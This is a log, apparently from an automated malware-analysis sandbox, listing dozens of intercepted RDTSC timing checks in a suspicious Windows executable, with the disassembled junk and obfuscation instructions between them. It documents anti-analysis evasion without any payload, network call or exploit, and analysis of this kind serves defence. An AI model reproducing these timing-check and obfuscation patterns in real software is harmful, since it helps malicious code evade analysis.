Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7403C second address: C74042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924C6 second address: C924E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A0h 0x00000007 jbe 00007FDDB4F28596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnl 00007FDDB4F28598h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924E8 second address: C924F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924F6 second address: C924FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924FA second address: C92500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92AC3 second address: C92AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92AC9 second address: C92ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92ACF second address: C92AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jbe 00007FDDB4F28596h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92BF9 second address: C92C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDB4D5DBF6h 0x0000000a jl 00007FDDB4D5DBF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9302B second address: C93033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93195 second address: C931A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDB4D5DBF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C931A1 second address: C931AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C931AD second address: C931B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C931B1 second address: C931B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C931B7 second address: C931C8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDB4D5DBFCh 0x00000008 jnc 00007FDDB4D5DBF6h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C934B0 second address: C934B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CE8 second address: C93CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CEE second address: C93CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CF2 second address: C93CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CF6 second address: C93D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C940E1 second address: C940E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C940E7 second address: C940EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C940EC second address: C940F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C940F2 second address: C940FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDDB4F28596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96644 second address: C96661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDB4D5DC00h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C968E5 second address: C96906 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDDB4F28598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FDDB4F285A2h 0x00000013 jmp 00007FDDB4F2859Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97C41 second address: C97C4A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97C4A second address: C97C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F2859Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99262 second address: C99269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53690 second address: C53694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53694 second address: C5369E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5369E second address: C536BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDDB4F285A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26E9 second address: CA26EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26EF second address: CA26FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26FA second address: CA2700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2700 second address: CA2704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2704 second address: CA2733 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FDDB4D5DBF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FDDB4D5DC04h 0x00000014 popad 0x00000015 popad 0x00000016 jng 00007FDDB4D5DC06h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2733 second address: CA2739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C60FB9 second address: C60FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5362 second address: CA5366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5366 second address: CA5384 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FDDB4D5DC00h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5384 second address: CA53A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDDB4F28596h 0x0000000a popad 0x0000000b jmp 00007FDDB4F285A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5AFB second address: CA5B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5B01 second address: CA5B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5B16 second address: CA5B4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDB4D5DC00h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FDDB4D5DC03h 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5B4C second address: CA5B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jo 00007FDDB4F285ACh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5B6E second address: CA5B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5B72 second address: CA5BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FDDB4F285A6h 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a pop eax 0x0000001b xor esi, 50E1D200h 0x00000021 call 00007FDDB4F28599h 0x00000026 jmp 00007FDDB4F2859Eh 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FDDB4F2859Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5BCE second address: CA5BF8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FDDB4D5DC00h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007FDDB4D5DBF6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5BF8 second address: CA5C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDB4F2859Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5C0E second address: CA5C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5C1F second address: CA5C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5C23 second address: CA5C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6048 second address: CA604F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA604F second address: CA6055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6B7A second address: CA6B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6C9A second address: CA6C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA720A second address: CA725D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, 654A618Bh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FDDB4F28598h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a movzx esi, ax 0x0000002d mov edi, dword ptr [ebp+122D3C04h] 0x00000033 push 00000000h 0x00000035 mov si, 6517h 0x00000039 xchg eax, ebx 0x0000003a push ecx 0x0000003b jne 00007FDDB4F2859Ch 0x00000041 pop ecx 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA725D second address: CA7276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA97B2 second address: CA97C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F2859Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA97C4 second address: CA982F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FDDB4D5DBF6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+1245EEBCh], ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FDDB4D5DBF8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D39A3h], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FDDB4D5DBF8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 cmc 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABA6 second address: CAABAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABAA second address: CAABB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABB0 second address: CAABCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDB4F285A9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABCE second address: CAAC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FDDB4D5DBF8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D29FEh] 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D2CA6h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FDDB4D5DBF8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov esi, dword ptr [ebp+122D2AAAh] 0x00000052 xchg eax, ebx 0x00000053 jmp 00007FDDB4D5DC05h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c jmp 00007FDDB4D5DC08h 0x00000061 pop eax 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD55B second address: CAD55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0A33 second address: CB0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0A38 second address: CB0A3D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADC8B second address: CADCA7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FDDB4D5DBF6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FDDB4D5DBFAh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADD5E second address: CADD64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADD64 second address: CADD6E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDB4D5DBFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0BC1 second address: CB0BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB4C73 second address: CB4C9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDB4D5DC00h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDB4D5DC00h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0BC7 second address: CB0BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0BCB second address: CB0C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDB4D5DBFEh 0x0000000e nop 0x0000000f jmp 00007FDDB4D5DC06h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b pushad 0x0000001c or edx, 0BBB2448h 0x00000022 popad 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a mov ebx, dword ptr [ebp+122D2CF2h] 0x00000030 mov eax, dword ptr [ebp+122D1061h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FDDB4D5DBF8h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov ebx, edx 0x00000052 push FFFFFFFFh 0x00000054 jmp 00007FDDB4D5DC01h 0x00000059 nop 0x0000005a jns 00007FDDB4D5DBFEh 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5EA9 second address: CB5EF7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FDDB4F28598h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D34A7h], edi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1967h], ecx 0x00000038 mov ebx, dword ptr [ebp+122D1A21h] 0x0000003e xchg eax, esi 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5EF7 second address: CB5F05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FDDB4D5DBF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5F05 second address: CB5F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1D4E second address: CB1D54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1D54 second address: CB1D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDB4F2859Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1D80 second address: CB1D85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB841F second address: CB84A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FDDB4F28598h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edi, 38F2A0A0h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FDDB4F28598h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D1BC8h], ecx 0x00000049 push 00000000h 0x0000004b jmp 00007FDDB4F285A5h 0x00000050 xchg eax, esi 0x00000051 jne 00007FDDB4F2859Ch 0x00000057 push eax 0x00000058 push edx 0x00000059 jbe 00007FDDB4F2859Ch 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA413 second address: CBA417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA417 second address: CBA421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
